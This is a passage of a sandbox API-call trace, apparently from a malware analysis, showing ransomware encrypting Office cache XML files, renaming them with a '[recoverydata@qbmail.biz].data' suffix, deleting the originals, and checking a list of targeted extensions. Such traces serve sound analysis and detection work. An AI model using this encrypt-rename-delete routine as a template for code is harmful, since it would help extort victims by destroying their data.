users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0082.468] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.468] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.468] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0082.830] GetLastError () returned 0x0 [0082.830] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0xa40, lpOverlapped=0x0) returned 1 [0082.953] WriteFile (in: hFile=0x20c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0082.954] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0082.954] WriteFile (in: hFile=0x20c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0082.955] SetEndOfFile (hFile=0x20c) returned 1 [0082.955] CloseHandle (hObject=0x20c) returned 1 [0082.956] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.956] SetEndOfFile (hFile=0x1ac) returned 1 [0082.957] CloseHandle (hObject=0x1ac) returned 1 [0082.960] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0082.960] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0082.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.960] lstrlenW (lpString=".doc") returned 4 [0082.960] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.961] lstrlenW (lpString=".docx") returned 5 [0082.961] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0082.961] lstrlenW (lpString=".pdf") returned 4 [0082.961] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.961] lstrlenW (lpString=".xls") returned 4 [0082.961] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.961] lstrlenW (lpString=".xlsx") returned 5 [0082.961] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0082.961] lstrlenW (lpString=".ppt") returned 4 [0082.961] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.961] lstrlenW (lpString=".zip") returned 4 [0082.961] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.961] lstrlenW (lpString=".rar") returned 4 [0082.961] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.961] lstrlenW (lpString=".bz2") returned 4 [0082.961] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.961] lstrlenW (lpString=".7z") returned 3 [0082.961] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.961] lstrlenW (lpString=".dbf") returned 4 [0082.962] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.962] lstrlenW (lpString=".1cd") returned 4 [0082.962] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.962] lstrlenW (lpString=".jpg") returned 4 [0082.962] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.962] lstrlenW (lpString=".doc") returned 4 [0082.962] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.962] lstrlenW (lpString=".docx") returned 5 [0082.962] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0082.962] lstrlenW (lpString=".pdf") returned 4 [0082.962] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.962] lstrlenW (lpString=".xls") returned 4 [0082.962] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.962] lstrlenW (lpString=".xlsx") returned 5 [0082.962] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0082.963] lstrlenW (lpString=".ppt") returned 4 [0082.963] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.963] lstrlenW (lpString=".zip") returned 4 [0082.963] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.963] lstrlenW (lpString=".rar") returned 4 [0082.963] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.963] lstrlenW (lpString=".bz2") returned 4 [0082.963] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.963] lstrlenW (lpString=".7z") returned 3 [0082.963] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.963] lstrlenW (lpString=".dbf") returned 4 [0082.963] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.963] lstrlenW (lpString=".1cd") returned 4 [0082.963] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.963] lstrlenW (lpString=".jpg") returned 4 [0082.964] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.964] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0082.964] lstrlenW (lpString="Office32WW.xml") returned 14 [0082.964] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0082.965] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=4274) returned 1 [0082.965] CloseHandle (hObject=0x1ac) returned 1 [0082.966] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0082.966] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0082.966] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.966] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0082.967] GetLastError () returned 0x0 [0082.967] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0082.969] WriteFile (in: hFile=0x20c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0082.970] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0082.970] WriteFile (in: hFile=0x20c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0082.970] SetEndOfFile (hFile=0x20c) returned 1 [0082.971] CloseHandle (hObject=0x20c) returned 1 [0082.972] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.972] SetEndOfFile (hFile=0x1ac) returned 1 [0082.973] CloseHandle (hObject=0x1ac) returned 1 [0082.973] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0082.973] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0082.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.973] lstrlenW (lpString=".doc") returned 4 [0082.973] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.973] lstrlenW (lpString=".docx") returned 5 [0082.973] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0082.974] lstrlenW (lpString=".pdf") returned 4 [0082.974] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.974] lstrlenW (lpString=".xls") returned 4 [0082.974] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.974] lstrlenW (lpString=".xlsx") returned 5 [0082.974] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0082.974] lstrlenW (lpString=".ppt") returned 4 [0082.974] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.974] lstrlenW (lpString=".zip") returned 4 [0082.974] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.974] lstrlenW (lpString=".rar") returned 4 [0082.974] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.974] lstrlenW (lpString=".bz2") returned 4 [0082.974] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.974] lstrlenW (lpString=".7z") returned 3 [0082.974] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.974] lstrlenW (lpString=".dbf") returned 4 [0082.974] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.974] lstrlenW (lpString=".1cd") returned 4 [0082.974] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.974] lstrlenW (lpString=".jpg") returned 4 [0082.974] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.975] lstrlenW (lpString=".doc") returned 4 [0082.975] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.975] lstrlenW (lpString=".docx") returned 5 [0082.975] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0082.975] lstrlenW (lpString=".pdf") returned 4 [0082.975] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.975] lstrlenW (lpString=".xls") returned 4 [0082.975] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.975] lstrlenW (lpString=".xlsx") returned 5 [0082.975] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0082.975] lstrlenW (lpString=".ppt") returned 4 [0082.975] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.975] lstrlenW (lpString=".zip") returned 4 [0082.975] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.975] lstrlenW (lpString=".rar") returned 4 [0082.975] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.975] lstrlenW (lpString=".bz2") returned 4 [0082.975] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.975] lstrlenW (lpString=".7z") returned 3 [0082.975] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.975] lstrlenW (lpString=".dbf") returned 4 [0082.975] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.976] lstrlenW (lpString=".1cd") returned 4 [0082.976] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0082.976] lstrlenW (lpString=".jpg") returned 4 [0082.976] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.976] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0082.976] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0082.976] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0082.978] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=6421) returned 1 [0082.978] CloseHandle (hObject=0x1ac) returned 1 [0082.978] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0082.978] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.978] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0082.978] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.978] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.978] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0082.979] GetLastError () returned 0x0 [0082.979] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x1915, lpOverlapped=0x0) returned 1 [0082.982] WriteFile (in: hFile=0x20c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0082.984] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0082.984] WriteFile (in: hFile=0x20c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xee, lpOverlapped=0x0) returned 1 [0082.984] SetEndOfFile (hFile=0x20c) returned 1 [0082.984] CloseHandle (hObject=0x20c) returned 1 [0082.985] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.985] SetEndOfFile (hFile=0x1ac) returned 1 [0082.986] CloseHandle (hObject=0x1ac) returned 1 [0082.986] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0082.987] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0082.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0082.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0082.987] lstrlenW (lpString=".doc") returned 4 [0082.987] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.987] lstrlenW (lpString=".docx") returned 5 [0082.987] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0082.987] lstrlenW (lpString=".pdf") returned 4 [0082.987] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.987] lstrlenW (lpString=".xls") returned 4 [0082.987] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.987] lstrlenW (lpString=".xlsx") returned 5 [0082.987] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0082.987] lstrlenW (lpString=".ppt") returned 4 [0082.987] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0082.988] lstrlenW (lpString=".zip") returned 4 [0082.988] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.988] lstrlenW (lpString=".rar") returned 4 [0082.988] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.988] lstrlenW (lpString=".bz2") returned 4 [0082.988] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.988] lstrlenW (lpString=".7z") returned 3 [0082.988] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0082.988] lstrlenW (lpString=".dbf") returned 4 [0082.988] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0082.988] lstrlenW (lpString=".1cd") returned 4 [0082.988] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0082.988] lstrlenW (lpString=".jpg") returned 4 [0082.988] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0082.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0082.988] lstrlenW (lpString=".doc") returned 4 [0082.988] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.988] lstrlenW (lpString=".docx") returned 5 [0082.988] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0082.988] lstrlenW (lpString=".pdf") returned 4 [0082.988] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.988] lstrlenW (lpString=".xls") returned 4 [0082.988] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.989] lstrlenW (lpString=".xlsx") returned 5 [0082.989] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0082.989] lstrlenW (lpString=".ppt") returned 4 [0082.989] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0082.989] lstrlenW (lpString=".zip") returned 4 [0082.989] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.989] lstrlenW (lpString=".rar") returned 4 [0082.989] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.989] lstrlenW (lpString=".bz2") returned 4 [0082.989] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.989] lstrlenW (lpString=".7z") returned 3 [0082.989] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0082.989] lstrlenW (lpString=".dbf") returned 4 [0082.989] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0082.989] lstrlenW (lpString=".1cd") returned 4 [0082.989] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0082.990] lstrlenW (lpString=".jpg") returned 4 [0082.990] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.990] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0082.990] lstrlenW (lpString="Setup.xml") returned 9 [0082.990] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0082.990] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=16683) returned 1 [0082.991] CloseHandle (hObject=0x1ac) returned 1 [0082.991] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0082.991] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 